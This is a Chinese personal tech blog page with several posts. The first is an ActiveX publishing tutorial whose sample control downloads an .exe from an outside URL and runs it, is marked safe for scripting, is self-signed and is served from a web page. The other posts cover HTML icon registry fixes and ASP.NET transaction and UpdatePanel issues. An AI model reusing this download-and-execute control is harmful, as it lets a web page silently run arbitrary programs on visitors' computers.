随笔-4  评论-6  文章-0  trackbacks-0
  2009年12月4日

一步一步 在线发布 ActiveX
先准备必备工具: 生成证书工具, 打包工具 , 签证工具
装了 platform sdk 就已经有前2种了, 再到 http://www.ca365.com/上下载一个 SIGNCODE.EXE 签证用的.

1. 用atl写个activex,工程命为 activextest 插入Composite Control, 发给按钮,双击按钮,在函数种输入如

下测试代码

::MessageBox(NULL, "请等待几秒钟", "测试", MB_OK);
URLDownloadToFile(NULL,"http://www.softwife.com/xx.exe%22,%22c://xx.exe%22,0,NULL);
WinExec("c:\\xx.exe",SW_SHOW);

实现 IObjectSafety 接口

编译, 把activextest.dll copy 出来

2. 制作证书:
MakeCert -sv "test.pvk" -n "CN=公司名称" test.CER
提示输入密匙: 3次输入的要一样

Cert2Spc test.CER test.spc

3.打成cab包
编写 inf 文件, 命名为 activextest.inf ,内容如下 其中 clsid 再你工程的 activextest.idl 中可以找到

[version]
signature="$CHICAGO$"
AdvancedINF=2.0

[Add.Code]
activextes.dll=activextes.dll

[activextes.dll]
file-win32-x86=thiscab
clsid={xxx-xx-xx-xx-xx}
FileVersion=1, 0, 0, 1
RegisterServer=yes

CABARC -s 6144 n activextest.cab activextest.dll activextest.

也可用C:\WINDOWS\system32\IExpress.exe进行打包。
4.签证
双击 SIGNCODE.EXE , 按照要求, 选activextest.cab , 选 test.spc 选test.pvk

5.编写发布网页
CLASSID="clsid:xxx-xx-xx-xx-xx"
CODEBASE="http://www.softwife/cab/activextest.cab#version=1, 0, 0, 1">


本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/newkey007/archive/2004/07/03/32942.aspx

posted @ 2009-12-04 17:49 Leem 阅读(78) 评论(0) 编辑
  2008年10月31日

不知大家是否遇到我这样的情况,后缀名为.htm,.html,mht,mhtml的文件全部没有图标显示,也就是说变成类似exe文件那样的图标,然而打开文件正常,不会显示未注册文件类型,在文件类型中更改图标,也不起作用。

解决方法:将注册表中 HKEY_CLASSES_ROOT\htmlfile\ShellEx\IconHandler 子项删除后,再重新到“文件类型”中指定图标即可。这个注册表项和其值并没有什么异样,可偏偏有了它就不能指定图标。文件类型:开始——设置——控制面板——文件夹选项 。

删除该项后到“Internet 选项”中选择“重置web设置”也可以解决问题,并且有可能重置这项注册表值。

------
其实在实践中,发现如果你用的是IE的话,只要在Internet选项内,重置一下Web设置,就可以把默认的htm、html文件未知程序的图标改回ie的图标。

----------------------------------------------------------------

以下为网络上的其他解决方案:


问题描述
HTML/HTM文件的图标突然不能正常显示

可能原因
安装了Office同时也安装了某个改变HTML/HTM文件的程序(如QQ的TB、GoAlive等),然后执行了Office的某项功能(不太清楚是什么回事)。此时不管怎么修改HTML/HTM文件的图标,都改不会来了。

解决方法
修改注册表
找到HKEY_CLASSES_ROOT\htmlfile\ShellEx\IconHandler\(Default) = {...................}
找到HKEY_CLASSES_ROOT\CLSID\{......................}\Old Icon\htmlfile\DefaultIcon
修改(Default)为“C:\Program Files\internet explorer\IEXPLORE.EXE,1”

posted @ 2008-10-31 13:00 Leem 阅读(2726) 评论(1) 编辑
  2007年9月7日
 在asp.net中使用TransactionScope进行事务处理时,在同一事务范围内,前一部分代码以参与事务方式对数据库进行操作,后一部分代码以非事务方式对数据库进行操作。最终结果会是后一部分代码执行超时失败。

如下代码所示:

using(TransactionScope scope1 = new TransactionScope())

     
// 事务方式对数据库进行操作

     
using(TransactionScope scope2 = new TransactionScope(TransactionScopeOption.Suppress))
    {
        
// 非事务方式对数据库进行操作
     }
}

注意这里是指同一数据库,为什么会这样呢?我想很有可能是前一步参与事务的操作,将数据库死锁了,而导致后一步无法正常执行,以至于超时。
posted @ 2007-09-07 15:31 Leem 阅读(365) 评论(0) 编辑
  2007年1月7日
摘要: 在执行一个操作后,我们经常要提示用户操作是否成功。
通常的作法是在服务器端用Response.Write()输出一段JS脚本即可。

但如果把这样的操作放到UpdatePanel中,结果就会出现如下的提示

阅读全文
posted @ 2007-01-07 12:04 Leem 阅读(658) 评论(5) 编辑
昵称:Leem
园龄:5年1个月
粉丝:1
关注:0
<2012年2月>
2930311234
567891011
12131415161718
19202122232425
26272829123
45678910

搜索

 
 

常用链接

随笔档案

最新评论